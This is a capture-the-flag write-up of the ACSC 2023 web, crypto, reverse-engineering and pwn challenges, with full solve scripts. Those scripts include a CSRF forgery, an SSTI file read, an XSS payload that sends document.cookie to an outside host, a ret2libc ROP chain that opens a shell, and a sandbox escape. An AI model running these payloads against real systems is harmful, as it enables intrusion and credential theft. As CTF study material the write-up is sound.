# ACSC 2023 Writeups
* Author: [maple3142](https://blog.maple3142.net/)
[toc]
<details>
<summary>Screenshots</summary>
<img src="https://hackmd.io/_uploads/H16OiDd0s.png">
<img src="https://hackmd.io/_uploads/SyPtoDOCo.png">
<img src="https://hackmd.io/_uploads/SJWqoDORi.png">
<img src="https://hackmd.io/_uploads/BJnciD_Ro.png">
</details>
> Having `*` before challenge name means I solved that challenge **after** the competition.
## web
### Admin Dashboard
Find LCG parameters by some easy math then generate the fixed CSRF token for admin, then make it access `addadmin.php` to add a new admin user. Login as the new admin user to get flag.
```python
import requests
from bs4 import BeautifulSoup
import time
host = "http://admin-dashboard.chal.ctf.acsc.asia"
s = requests.Session()
s.get(f"{host}/login.php", params={"username": "supernene", "password": "supernene"})
def get_csrf(s):
soup = BeautifulSoup(s.get(f"{host}/addadmin.php").text, "html.parser")
return soup.select_one("input[name=csrf-token]").get("value")
def solve_lcg(lcgs, M):
s0, s1, s2, s3, *_ = lcgs
a = (s2 - s1) * pow(s1 - s0, -1, M) % M
c = (s2 - s1 * a) % M
for s, ss in zip(lcgs, lcgs[1:]):
assert (a * s + c) % M == ss
return a, c
def recover_lcg():
lcgs = []
for i in range(4):
lcgs.append(int(get_csrf(s), 16))
print("sleep", i)
time.sleep(31)
lcgs = [
242981959512841268705863502937240266293,
212806348908635434486040285071576691911,
35736567988205438078302479881533288039,
161950064289252241438657334521470156708,
]
print(lcgs)
print(solve_lcg(lcgs, M))
# recover_lcg()
M = 0xC4F3B4B3DEADBEEF1337C0DEDEADC0DD
A, C = (39238395068069510873877941548003979614, 163462177865055857243861130640161174000)
s0 = int(b"admin".hex(), 16)
s = (A * s0 + C) % M
print(hex(s)[2:])
# submit
# http://localhost/addadmin.php?username=elitemiko&password=elitemiko&csrf-token=1fe69abb084e42434627a84405d722e0
# then login with elitemiko:elitemiko
# ACSC{C$rF_15_3VerYwh3Re!}
```
### easySSTI
Read the framework source code we see that there is a filesystem access with `.Echo.Filesystem`, but to read the file you need to have a `[]byte` buffer to write to. Fortunately, we see `.Get "template"` will be our template in `[]byte`, so we can just reuse it to store the flag.
```bash
curl 'http://easyssti.chal.ctf.acsc.asia:8000/' -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}'
```
then you will get
```
26 [65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 32 123 123 32 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 32 125 125]
```
decode it with `bytes(eval(s.replace(' ',',')))`: `ACSC{h0w_did_y0u_leak_me}`
### Gotion
The challenge use a nginx config enables byte-ragne caching like this:
```nginx
location ~ .mp4$ {
# Smart and Efficient Byte-Range Caching with NGINX
# https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
proxy_cache mycache;
slice 4096; # Maybe it should be bigger?
proxy_cache_key $host$uri$is_args$args$slice_range;
proxy_set_header Range $slice_range;
proxy_http_version 1.1;
proxy_cache_valid 200 206 1h;
proxy_pass http://app:3000;
}
```
But the `.mp4` regex misuse the `.` character, so it will also match path like `/notes/834dc5a4-45c9-45a7-ba4e-a5969a18fb8b-amp4`.
By playing with the byte caching with a custom server locally, we know that nginx will try to parse your `Range` header and align it to `4096` blocks, so `$slice_range` will always be `0-4095` or `4096-8191`. Also, since `$slice_range` is used in cache key so different ranges will have different cache.
So if we create a new note and only access its second block (`4096-8191`), then we edit the note content to be shorter and then access the first block (`0-4095`). So if we access the note regularly, nginx will concat the content of the two cached block and send it to client. Therefore, with a carefully block alignment (like heap pwn) it is possible to make the first block end with `<`, and the start of second block will be user-controlled content. Then we can get xss with `<img onerror=alert() src=x:`.
```python
import requests
import string
import os
# host = "http://localhost:30080"
host = "http://gotion.chal.ctf.acsc.asia"
# host = "http://gotion-2.chal.ctf.acsc.asia:30080"
pl = 'img onerror=location.assign(`//s.maple3142.net:3535/?${document.cookie}`) src=x:'.ljust(87, ' ')
path = requests.post(
f"{host}/new-note",
data={
"title": "mp4".rjust(20, 'x'),
"body": 'x' * (1024 - len(pl)) + pl,
},
allow_redirects=False,
).headers["Location"]
print(path)
note_id = path.split("/")[-1]
print(note_id)
r = requests.get(f"{host}{path}", headers={"Range": "bytes=4096-"})
print(r.headers)
print(r.text)
requests.post(
f"{host}/update-note",
data={
"noteId": note_id,
"title": "mp4",
"body": "y" * 946,
},
allow_redirects=False,
)
r = requests.get(f"{host}{path}", headers={"Range": "bytes=-4095"})
print(r.headers)
print(r.text)
r = requests.get(f"{host}{path}")
print(r.headers)
print(r.text)
print(f"{host}{path}")
# to submit, just create another note and edit the form (to pass recaptcha)
# ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}
```
## crypto
### Merkle Hellman
This challenge implemented a [Merkle–Hellman knapsack cryptosystem](https://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem) and encrypt the flag char by char, and the private key is also given.
But the length of public key is just 7, so for implementation simplicity we can simply bruteforce $2^7$ possibilities for each char to decrypt the flag.
```python
from itertools import product
pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
q = 20910
def decrypt(pk, c):
for xs in product(range(2), repeat=7):
if sum(x * y for x, y in zip(pk, xs)) == c:
s = ''.join(str(x) for x in xs)
return chr(int(s, 2))
flag = ''.join(decrypt(pk, c) for c in ct)
print(flag)
# ACSC{E4zY_P3@zy}
```
### Check_number_63
We are given a bunch of $e_i,k_i$ that satisify:
$$
e_id_i = 1+k_i\varphi(n)
$$
then we have:
$$
\varphi(n) \equiv \frac{-1}{k_i} \pmod{e_i}
$$
Then we CRT to get $t \equiv \varphi(n) \pmod{L}$ for $L=\prod{e_i}$, so $x \equiv n-t+1 \equiv p+q \pmod{L}$.
Since $L$ is slightly less than the size of $p+q$, we bruteforce $x+yL$ to find $p+q$ and factor $n$ by solving a quadratic equation.
```python
from hashlib import sha512
with open("output.txt") as f:
n = ZZ(f.readline().split(" = ")[1])
ee = []
kk = []
for line in f:
e, k = line.split(":")
ee.append(ZZ(e))
kk.append(ZZ(k))
t = crt([-1 / k % e for k, e in zip(kk, ee)], ee)
print(t)
L = reduce(lcm, ee)
p_plus_q_mod_L = (n - t + 1) % L
def solve_quadratic(a, b, c):
D = b**2 - 4 * a * c
if D >= 0 and ZZ(D).is_square():
D = ZZ(D).sqrt()
x1 = (-b + D) // (2 * a)
x2 = (-b - D) // (2 * a)
return x1, x2
def factor_with_sum(n, p_plus_q):
# (x-p)(x-q)=x^2-(p+q)*x+n
s = solve_quadratic(1, -p_plus_q, n)
if s:
p, q = s
if n % p == 0:
return p, q
for t in range(100000):
p_plus_q = p_plus_q_mod_L + t * L
sol = factor_with_sum(n, p_plus_q)
if sol:
print(sol)
p, q = sol
if p > q:
p, q = q, p
flag = "ACSC{" + sha512(f"{p}{q}".encode()).hexdigest() + "}"
print(flag)
break
# ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}
```
### Dual Signature Algorithm
We have two modular equation:
$$
\begin{aligned}
f_1(k, d) &\equiv 0 \pmod{q_1} \\
f_2(k, d) &\equiv 0 \pmod{q_2}
\end{aligned}
$$
Take `F = crt([f1, f2], [q2, q2])`, then $F(k,d) \equiv 0 \pmod{q_1 q_2}$.
Since $q_1 q_2$ is much larger then the size of $k, d$, we use LLL to find it.
```python
import os
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
g = 4
p1, p2 = (
6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699,
6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839,
)
y1, y2 = (
4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074,
1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759,
)
m = b"omochi mochimochi mochimochi omochi"
r1, s1 = (
2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630,
705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802,
)
r2, s2 = (
3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604,
2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373,
)
q1, q2 = (p1 // 2), (p2 // 2)
def h(m: bytes) -> int:
return int(sha256(m).hexdigest(), 16)
z = h(m)
q = q1 * q2
k, d = Zmod(q)["k, d"].gens()
f1 = s1 * k - r1 * d - z
f2 = s2 * k - r2 * d - z
f = crt([f1, f2], [q1, q2])
M = matrix(ZZ, f.coefficients()).T
M = M.augment(matrix.identity(3))
K = isqrt(q)
M[-1, -1] *= K
M = M.stack(vector([q] + [0] * 3))
M[:, 0] *= 2 ^ 512
print(f)
print(M.change_ring(Zmod(100)))
delta = []
basis = []
for row in M.LLL():
print(row)
if row[-1] == -K:
row = -row
if row[0] == 0 and row[-1] == K:
x_cand = row[2]
if pow(g, x_cand, p1) == y1 and pow(g, x_cand, p2) == y2:
print('good', x_cand)
print(long_to_bytes(x_cand))
break
# ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}
```
### Corrupted
First we fix the PEM formatting by adding newlines appropriately, then replace `?` with `A`. By the file length we know it is a corrupted RSA-2048 private key. We can generate another key with `ssh-keygen -t rsa -b 2048 -m pem` for comparison.
Decode the base64 into a binary and open a hex editor (like ImHex), so we can attempt to decode the data with ASN.1 parsing rules and RSA key format:
```
PrivateKeyInfo ::= SEQUENCE {
version Version,
privateKeyAlgorithm AlgorithmIdentifier ,
privateKey PrivateKey,
attributes [0] Attributes OPTIONAL
}
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
```
> Taken from [RECOVERING A FULL PEM PRIVATE KEY WHEN HALF OF IT IS REDACTED](https://blog.cryptohack.org/twitter-secrets)
After that, we know the start byte index and the byte length for each integer, but only $n$ is fully given (not corrupted) and $e$ is partially corrupted but it is easy to guess $e=65537$. All the other parameters from $d,p,q,d_p,d_q,\cdots$ have random bits being corrupted.
I used the method given in **section 4.3.2** in [Recovering cryptographic keys from partial
information, by example](https://eprint.iacr.org/2020/1506.pdf).
We have:
$$
ed_p=1+k_p(p-1) \\
ed_q=1+k_q(q-1)
$$
and $k_p,k_q$ satisfy $(k_p-1)(k_q-1) \equiv k_pk_qn \pmod{e}$. So we only have to guess at most $e$ pairs of $(k_p,k_q)$.
Then we iteratively search the unknown bits using branch-and-prune to find integers simultaneously satisfying the following equations:
$$
\begin{aligned}
ed_p &\equiv 1+k_p(p-1) \pmod{2^i} \\
ed_q &\equiv 1+k_q(q-1) \pmod{2^i} \\
pq &\equiv n \pmod{2^i}
\end{aligned}
$$
```python
from binteger import Bin
import sys
from tqdm import tqdm
# recursion go brrrrr
sys.setrecursionlimit(1000000)
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def custom_b64decode(s):
bits = []
for c in s:
if c == "?":
bits += ["?"] * 6
else:
x = base64_chars.index(c)
bits += list(map(int, f"{x:06b}"))
return bits
# manually fix the format by hand first (like inserting '\n' at appropriate places)
with open("fix.pem") as f:
s = "".join(list(f)[1:-1]).strip().replace("\n", "")
print(s, len(s))
bits = custom_b64decode(s)
print(len(bits) // 8)
p_idx = 537
q_idx = 669
p = bits[p_idx * 8 : (p_idx + 129) * 8][::-1][:-8]
q = bits[q_idx * 8 : (q_idx + 129) * 8][::-1][:-8]
print(hex(Bin([0 if type(x) == str else x for x in p[::-1]]).int))
print(hex(Bin([0 if type(x) == str else x for x in q[::-1]]).int))
dp_idx = 801
dq_idx = 932
dp = bits[dp_idx * 8 : (dp_idx + 128) * 8][::-1]
dq = bits[dq_idx * 8 : (dq_idx + 128) * 8][::-1]
print(hex(Bin([0 if type(x) == str else x for x in dp[::-1]]).int))
print(hex(Bin([0 if type(x) == str else x for x in dq[::-1]]).int))
def gen_cands(bv, i):
if bv[i] == "?":
for j in range(2):
yield bv[:i] + [j]
else:
yield bv[: i + 1]
def bv2i(bv, i=None):
if i is None:
i = len(bv)
return Bin(bv[:i][::-1]).int
# https://eprint.iacr.org/2020/1506.pdf
def search_factor(n, p, q, dp, dq, i=0):
M = 2**i
tp = bv2i(p, i)
tq = bv2i(q, i)
eq1 = (e * bv2i(dp, i) - 1 + kp) % M == (kp * tp) % M
eq2 = (e * bv2i(dq, i) - 1 + kq) % M == (kq * tq) % M
eq3 = tp * tq % M == n % M
if not all([eq1, eq2, eq3]):
return
if i >= len(p) or i >= len(q):
yield p, q
return
if p[i] == "?" or q[i] == "?" or dp[i] == "?" or dq[i] == "?":
M = 2 ** (i + 1)
cp = p[:i]
cq = q[:i]
for pc in gen_cands(p, i):
for qc in gen_cands(q, i):
for dpc in gen_cands(dp, i):
for dqc in gen_cands(dq, i):
pp = Bin(pc[::-1]).int
qq = Bin(qc[::-1]).int
dpdp = Bin(dpc[::-1]).int
dqdq = Bin(dqc[::-1]).int
eq1 = (e * dpdp - 1 + kp) % M == (kp * pp) % M
eq2 = (e * dqdq - 1 + kq) % M == (kq * qq) % M
eq3 = pp * qq % M == n % M
if all([eq1, eq2, eq3]):
yield from search_factor(
n,
pc + p[i + 1 :],
qc + q[i + 1 :],
dpc + dp[i + 1 :],
dqc + dq[i + 1 :],
i + 1,
)
else:
yield from search_factor(n, p, q, dp, dq, i + 1)
print(len([1 for x in p if x == "?"]))
print(len([1 for x in q if x == "?"]))
print(len([1 for x in dp if x == "?"]))
print(len([1 for x in dq if x == "?"]))
n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF
e = 65537
for kp in tqdm(range(e)):
try:
# https://eprint.iacr.org/2020/1506.pdf
# section 4.1 equation 2
kq = -(kp - 1) * pow(kp * n - kp + 1, -1, e) % e
except ValueError:
print(":(", kp)
continue
for fp, fq in search_factor(n, p, q, dp, dq):
pp = Bin(fp[::-1]).int
qq = Bin(fq[::-1]).int
if pp * qq == n:
print(pp)
print(qq)
exit()
```
Then we generate the fixed key with:
```python
from Crypto.PublicKey import RSA
import os
n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF
e = 65537
p = 155299541009430809588425062720223500928329492369022122705786709666016799594094715510895512501712395026781939010582285702324133278500187668837746550939078189422934363524539257681962581826377503167383057860454621968968810001249538573209788164770274648965392813272525012357962769601749883966238281222460619331027
q = 130005404238627558873036684157866291284175474003438745578515687995645550973205054039649665424796512358913432509208859266795477059889954450480912297985878420461860492546158628836966054968695441928927694400623688256686778226818353096884866419423840384345802893831166438228156191918173410848482398330358248591013
d = pow(e, -1, (p - 1) * (q - 1))
key = RSA.construct((n, e, d))
with open("key.pem", "wb") as f:
f.write(key.exportKey("PEM"))
os.chmod("key.pem", 0o600)
os.system("ssh godam@corrupted.chal.ctf.acsc.asia -i key.pem")
# ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!}
```
### *SusCipher
Implemented the cipher in Z3 during the competition but can't get it work efficiently. Thanks @deuterium for telling me I need to minimize the number of bits of chosen plaintexts.
```python
from z3 import *
from pwn import process, remote
from task import SusCipher
class Z3Cipher:
S = SusCipher.S
P = SusCipher.P
def __init__(self, sol, subkeys):
self.sol = sol
self.subkeys = subkeys
self.sbox = z3.Function("SBOX", z3.BitVecSort(6), z3.BitVecSort(6))
for i in range(64):
self.sol.add(self.sbox(i) == self.S[i])
def _sub(self, block):
return [self.sbox(v) for v in block]
def _perm(self, block):
bits = []
for b in block:
for i in range(6):
bits.append(Extract(5 - i, 5 - i, b))
new_bits = ["_"] * 6 * 8
for i in range(6 * 8):
new_bits[self.P[i]] = bits[i]
ret = []
for i in range(8):
x = Concat(new_bits[i * 6 : (i + 1) * 6])
ret.append(x)
return ret
def _xor(self, a, b):
return [x ^ y for x, y in zip(a, b)]
def encrypt(self, block):
block = self._xor(block, self.subkeys[0])
for r in range(3):
block = self._sub(block)
block = self._perm(block)
block = self._xor(block, self.subkeys[r + 1])
return block
# io = process(["python", "task.py"])
io = remote("suscipher.chal.ctf.acsc.asia", 13579)
msgs = [1 << i for i in range(48)]
io.sendlineafter(b"> ", ",".join(map(str, msgs)).encode())
cts = list(map(int, io.recvlineS().strip().split(", ")))
sol = Solver()
subkeys = [[BitVec(f"k_{i}_{j}", 6) for j in range(8)] for i in range(3 + 1)]
z3c = Z3Cipher(sol, subkeys)
for msg, ct in zip(msgs, cts):
msg = SusCipher._divide(msg)
ct = SusCipher._divide(ct)
sct = z3c.encrypt(msg)
for x, y in zip(ct, sct):
sol.add(x == y)
print("Solving...")
assert sol.check() == sat
m = sol.model()
key = SusCipher._combine([m.eval(x).as_long() for x in subkeys[0]])
print(key)
io.sendlineafter(b"> ", str(key).encode())
io.interactive()
# ACSC{There_may_be_a_better_solution_to_solve_this_but_I_used_diff_analysis_:(}
```
## rev
### serverless
The encryptor choose random 2 primes and encrypt the flag with textbook RSA, then encrypt the RSA ciphertext with xor cipher.
Since the xor key is known, simply xor it back and do RSA decryption to get flag.
```python
from base64 import *
from Crypto.Util.number import long_to_bytes
ar1 = [
8026407584881212335717763155461175939053253449558928097356743317580304745257836900537741725487713354811898351514317778474405234115608371781687347872491703,
9901479087075272465000928546760145175528311831313716995411286084780215684429457115750234954269995515521497208022159902709895803492831087888441410900661623,
8903225968632645048112414558941014482368293389707967329431586917899894237468493767277617251082326067122876205027521423107103664566560453106513383698662841,
7306065826954797942887008925345768422542194975212611412996809619206152967943872265885214129607801191067761271051786230521446267111488994860029935891658147,
13002100837416249802976975336617228981498976557336038776019341954643478558536425323716753407024112736914972406623544975287903736193016505594778344376373179,
11576051655637376487642664054274257390376244499880178084751392229273250591900336107156856829956635498116092894051582635232354596017926523129295080605554429,
7902539523670688752549365452498382985299018894363342133531323012327857960923461934902488879455588857566708722435022350733082133933092267702307821906957977,
6783142639439350199274781001550540761424373981915677251043304945175275590386243548101294984514936470982791698773776831533758049672189386462720647770985001,
11319393487244650012717839752121654225994209596419701136831846093323997458647164935453184402661574913288632779725321036933530944725804415713594714876906847,
9585387948560465713976215768016745842108284855244208916003456862520169267729486151203630145345165962235437344782253615764252330421571444685028102486610567,
]
ar2 = [
11138133675080925873149032570509408923592577663944493077262179603892338339426376013580530251498364611817562627156767932116957250284539752419366057012361649,
10574147867451418851637041344231275651423577891311215749455683353579335478795148329490570900445186263552549726662037946613806250295825461252937365691144757,
10674081755614194430694316863648731761829693259627261111906003227581182291436573479641202865404241412518768803795734995501804298710271483715401954860647953,
12968732443832149370169937542849870171809900018949150636308457250052280094029579199566526477098080152448048695730264594884959310262897810775613424383036007,
8972395174076295368444847039674947715229479296809544092248089326976428235345226886712046918654462399484955991711195283733874190395639967899628857836740743,
9527362749634281224487906953140787001780863710164703682625342548102961426576294773243660413567139103445338886795721973525199297094569903788493496539197863,
10229709325149619765696926612743287965524038512950567412494449028112447211284065074607122123674007398601575622550266734924682588447213742414387099108109461,
6775733025973714289289099342079544491278357801546402292504820748645442063442072618107305909729834896739059944218135896652802888272263806165032921710097769,
11844424614832993323731152366810540116450336338053864348795634499070072404906281126852701590624769842713079092273019871232731892965721940265502359688474441,
6939919557269991460418095931967704251043296456961607911365019726251568836845834148571433683707268031711944237071545445764147715416436144904514445039547287,
]
x = b64decode(
b"MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy"
).decode()
ct = bytearray(eval(x)[::-1])
key = b"acscpass"
for i in range(len(ct)):
ct[i] ^= key[i % len(key)]
*cc, s, k, j = ct
c = int.from_bytes(bytes(cc), "little")
p, q = ar1[j], ar2[k]
n = p * q
e = 2 ** (2**s) + 1
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
# ACSC{warmup_challenge_so_easy}
# https://github.com/relative/synchrony
```
### ngo
There is a [Galois LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register#Galois_LFSRs) is the binary, and it is generating the flag by xoring the $k$-th output with some known numbers where $k=1, 1+42, 1+42+42^2, \cdots$.
Since the max length of that LFSR is $2^{32}-1$, computing $(k \mod{2^{32}-1})$-th output is enough.
```python
data = 0x3D2964F0
def magic():
# galois lfsr
global data
v1 = data & 1
data >>= 1
if v1:
data ^= 0x80200003
return data
ct = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21]
cycle = 0xFFFFFFFF
to_get = [1]
for _ in range(5):
to_get.append(42 * to_get[-1] % cycle)
print(to_get)
# prefix sum
for i in range(1, len(to_get)):
to_get[i] += to_get[i - 1]
dt = {}
for i in range(1, max(to_get) + 1):
v = magic()
if i in to_get:
dt[i] = v
flag = ""
for x, y in zip(to_get, ct):
print(x, hex(dt[x]))
flag += chr((dt[x] & 0xFF) ^ y)
print(f"ACSC{{{flag}}}")
# use pypy3
# ACSC{yUhFgRvQ2Afi}
```
## pwn
### Vaccine
BOF to rop leak `puts@GOT` and go back to `main`, then BOF again to do ret2libc.
```python
from pwn import *
import os
os.chdir("./bin")
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF("../libc-2.31.so")
elf = ELF("./vaccine")
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
print(rop.dump())
context.log_level = "debug"
payload = flat(rop.build())
assert all(x not in payload for x in (b"\x0a", b"\x20"))
# io = gdb.debug("./vaccine", "b *(main+417)\nc")
# io = process("./vaccine")
io = remote("vaccine.chal.ctf.acsc.asia", 1337)
io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n")
io.recvuntil(b"correct vaccine!\n")
print(io.recvlineS().strip())
libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload = flat(rop2.build())
assert all(x not in payload for x in (b"\x0a", b"\x20"))
io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n")
io.interactive()
# ACSC{RoP_3@zy_Pe4$y}
```
### evalbox
`sol2.py`:
```python
f=open('/tmp/x', 'wb')
f.write(bytes.fromhex('PLACEHOLDER'))
f.flush()
```
`sol3.py`:
```python
import os
os.chmod('/tmp/x', 0o777)
os.execve('/tmp/x',['x'],{})
```
and we prepare a static binary to `opendir` for us and write a wrapper script:
```python
import sys
with open('main', 'rb') as f:
data = f.read()
with open(sys.argv[1], "rb") as f:
c = f.read()
c = c.replace(b'PLACEHOLDER', data.hex().encode())
# print(c.decode())
h = c.hex()
print(f'exec(bytes.fromhex("{h}"))')
```
source code of `main`:
```c
#include <dirent.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
DIR *dp;
struct dirent *dirp;
dp = opendir(".");
while ((dirp = readdir(dp)) != NULL)
printf("%s\n", dirp->d_name);
return 0;
}
// musl-gcc main.c -o main -static -Os && strip main
```
Then we get the flag filename with:
```bash
python wrap.py sol2.py | nc evalbox.chal.ctf.acsc.asia 9999
python wrap.py sol3.py | nc evalbox.chal.ctf.acsc.asia 9999
```
Then read the flag with `print((f:=open('flag-0479f1dcda629bbe833598bce876a647.txt')).read())`.
`ACSC{bl4ckL1st_ruL3_1s_4lw4y5_d4ng3r0uS!}`
Sign in with Wallet
Connect another wallet